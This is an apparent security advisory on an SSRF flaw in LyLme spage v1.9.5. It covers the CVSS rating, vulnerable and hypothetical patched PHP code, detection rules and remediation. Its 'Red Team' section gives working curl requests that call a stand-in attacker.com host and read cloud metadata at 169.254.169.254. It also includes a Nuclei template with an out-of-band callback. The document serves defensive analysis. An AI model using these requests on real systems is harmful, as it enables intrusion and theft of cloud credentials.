CVE-2024-36675

Executive Summary

CVE-2024-36675 is a critical Server-Side Request Forgery (SSRF) vulnerability in LyLme spage v1.9.5. The flaw resides in the get_head function, accessible via the url parameter in /apply/index.php. An unauthenticated attacker can force the server to make arbitrary HTTP requests, potentially accessing internal network resources, cloud metadata endpoints, or other sensitive systems. The vulnerability has a CVSS score of 9.1 (Critical) and a public proof-of-concept (PoC) is available via a Nuclei template. No official patch has been released as of this analysis.

Supply Chain & Package Security

LyLme spage is a PHP-based web application. The vulnerability is in the application's own code, not in a third-party package. However, the SSRF can be used to attack internal services or cloud metadata endpoints, which may be part of the supply chain infrastructure. No known malicious packages are associated with this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
• Base Score: 9.1 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Changed (S:C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: High (C:H) – Potential access to sensitive internal data.
• Integrity Impact: High (I:H) – Potential to modify internal resources.
• Availability Impact: None (A:N) – No direct denial of service.

Threat Level: Critical. The combination of low attack complexity, no authentication, and high impact on confidentiality and integrity makes this a high-priority vulnerability for patching or mitigation.

Deep Dive & Mechanics

The vulnerability is a classic SSRF in the get_head function of LyLme spage v1.9.5. The function takes a user-supplied URL via the url parameter in /apply/index.php and makes an HTTP request to that URL without proper validation or sanitization. This allows an attacker to force the server to make requests to arbitrary internal or external hosts.

Root Cause: The application does not validate the url parameter against a whitelist of allowed domains or IP ranges. It also does not block requests to private IP ranges (e.g., 127.0.0.1, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) or cloud metadata endpoints (e.g., 169.254.169.254).

Attack Flow:

1. Attacker sends a GET request to /apply/index.php?url=http://internal-service.local/admin.
2. The server's get_head function makes an HTTP request to http://internal-service.local/admin.
3. The response is returned to the attacker, potentially leaking sensitive data.

Potential Impact:

• Access to internal web applications, databases, or APIs.
• Reading cloud instance metadata (e.g., AWS, GCP, Azure) to obtain credentials.
• Port scanning internal networks.
• Exploiting trust relationships between internal services.

Vulnerable vs. Patched Code

Vulnerable Code (v1.9.5): The get_head function likely uses PHP's file_get_contents() or curl_exec() with the user-supplied URL without any validation.

function get_head($url) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_NOBODY, true);
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

Patched Code (Hypothetical): A patched version would validate the URL against a whitelist, block private IPs, and use a URL parser to ensure only allowed schemes and hosts are used.

function get_head($url) {
    $parsed_url = parse_url($url);
    if (!in_array($parsed_url['scheme'], ['http', 'https'])) {
        return false;
    }
    $host = gethostbyname($parsed_url['host']);
    if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
        return false;
    }
    // Proceed with curl request
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_NOBODY, true);
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable instance of LyLme spage v1.9.5.
• An attacker-controlled server to receive out-of-band (OOB) callbacks (e.g., interactsh, Burp Collaborator).

Exploitation Steps:

1. Basic SSRF Test:

   curl "http://target.com/apply/index.php?url=http://attacker.com/test"
   

   Check your attacker server logs for an incoming request.

2. Access Internal Service:

   curl "http://target.com/apply/index.php?url=http://127.0.0.1:8080/admin"
   

3. Cloud Metadata Exfiltration (AWS):

   curl "http://target.com/apply/index.php?url=http://169.254.169.254/latest/meta-data/"
   

4. Using Nuclei Template (Automated): The provided Nuclei template can be used to automate detection and exploitation. Save it as CVE-2024-36675.yaml and run:

   nuclei -t CVE-2024-36675.yaml -u http://target.com
   

Blue Team (Detection & Mitigation)

Detection:

• Monitor web server logs for requests to /apply/index.php with a url parameter containing internal IPs or unusual domains.
• Look for outbound connections from the web server to unexpected destinations.
• Use the detection rules provided in the next section.

Mitigation (if patching is not possible):

• Implement a Web Application Firewall (WAF) rule to block requests to /apply/index.php with a url parameter.
• Restrict outbound traffic from the web server using a firewall or egress proxy.
• Disable the vulnerable functionality if not needed.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from the web server to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
  • Outbound requests to cloud metadata IPs (169.254.169.254).
  • Requests to attacker-controlled domains or IPs.
• File IOCs:
  • Log entries containing /apply/index.php?url= followed by suspicious URLs.
• Behavioral IOCs:
  • Unusual outbound traffic patterns from the web server.
  • Unexpected responses in web server logs (e.g., JSON data from internal services).

Detection Engineering

YARA Rule

rule CVE_2024_36675_SSRF_LyLme_spage {
    meta:
        description = "Detects SSRF exploitation attempts against LyLme spage v1.9.5"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-36675"
        hash = "4a0a00473045022040f2b1432f47384530a0f3e8ce0d7dfccabe7355ad99eced056dcd18615bc2d80221009c2f6251d863299caea9391d26d12e97c3a60cf8c607c1fc927b86f982221938"
    strings:
        $ssrf_path = "/apply/index.php?url="
        $private_ip = /(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)/
        $metadata_ip = "169.254.169.254"
    condition:
        $ssrf_path and ($private_ip or $metadata_ip)
}

Sigma Rule

title: CVE-2024-36675 SSRF Exploitation Attempt
id: 7b8c3d4e-5f6a-7b8c-9d0e-1f2a3b4c5d6e
status: experimental
description: Detects SSRF attempts against LyLme spage v1.9.5 via the url parameter
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36675
    - https://github.com/Hebing123/cve/issues/44
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "/apply/index.php?url="
    filter:
        cs-uri-query|contains:
            - "127.0.0.1"
            - "10."
            - "172.16."
            - "172.17."
            - "172.18."
            - "172.19."
            - "172.20."
            - "172.21."
            - "172.22."
            - "172.23."
            - "172.24."
            - "172.25."
            - "172.26."
            - "172.27."
            - "172.28."
            - "172.29."
            - "172.30."
            - "172.31."
            - "192.168."
            - "169.254.169.254"
    condition: selection and filter
falsepositives:
    - Legitimate use of the feature to fetch external resources (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-36675 LyLme spage SSRF Exploitation Attempt";
    flow:to_server,established;
    content:"/apply/index.php?url="; http_uri;
    pcre:"/(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|169\.254\.169\.254)/";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2024-36675;
)

Nuclei Template (Provided)

id: CVE-2024-36675

info:
  name: LyLme spage v1.9.5 - Server-Side Request Forgery
  author: ritikchaddha
  severity: high
  description: |
    LyLme spage v1.9.5 is vulnerable to server-side request forgery (SSRF) via the url parameter in apply/index.php. An attacker can force the server to make arbitrary requests, potentially accessing internal resources.
  impact: |
    Unauthenticated attackers can force the server to make arbitrary requests via the url parameter, potentially accessing internal resources.
  remediation: |
    Update LyLme spage to a version later than v1.9.5 that patches the SSRF vulnerability.
  reference:
    - https://github.com/Hebing123/cve/issues/44
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36675
  classification:
    epss-score: 0.44282
    epss-percentile: 0.97567
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-36675
    cwe-id: CWE-918
    cpe: cpe:2.3:a:lylme:lylme_spage:1.9.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: lylme
    product: lylme_spage
    fofa-query: title="LyLme Spage"
    shodan-query: http.favicon.hash:-282504889
  tags: cve,cve2024,ssrf,lylme,spage,oast,oob,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/apply/index.php?url=http://{{interactsh-url}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "http")'
          - 'contains_all(body, "title\":", "icon\":")'
          - 'contains(content_type, "application/json")'
        condition: and

Remediation & Mitigation

Immediate Actions:

1. Patch: Update LyLme spage to a version later than v1.9.5 if a patch becomes available. Monitor the vendor's repository for updates.
2. WAF Rule: Block requests to /apply/index.php with a url parameter containing private IPs or suspicious domains.
3. Network Segmentation: Restrict outbound traffic from the web server to only necessary external services.
4. Disable Feature: If the get_head function is not critical, disable it by removing or commenting out the vulnerable code.

Long-term Recommendations:

• Implement input validation for all user-supplied URLs, including a whitelist of allowed domains.
• Use a URL parser to validate the scheme and host, and block requests to private IP ranges.
• Regularly review and update dependencies and custom code for security vulnerabilities.
• Conduct penetration testing to identify similar SSRF flaws.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.

{/* [Security Hash: F49F735524740F4CEDBC3E0E] */}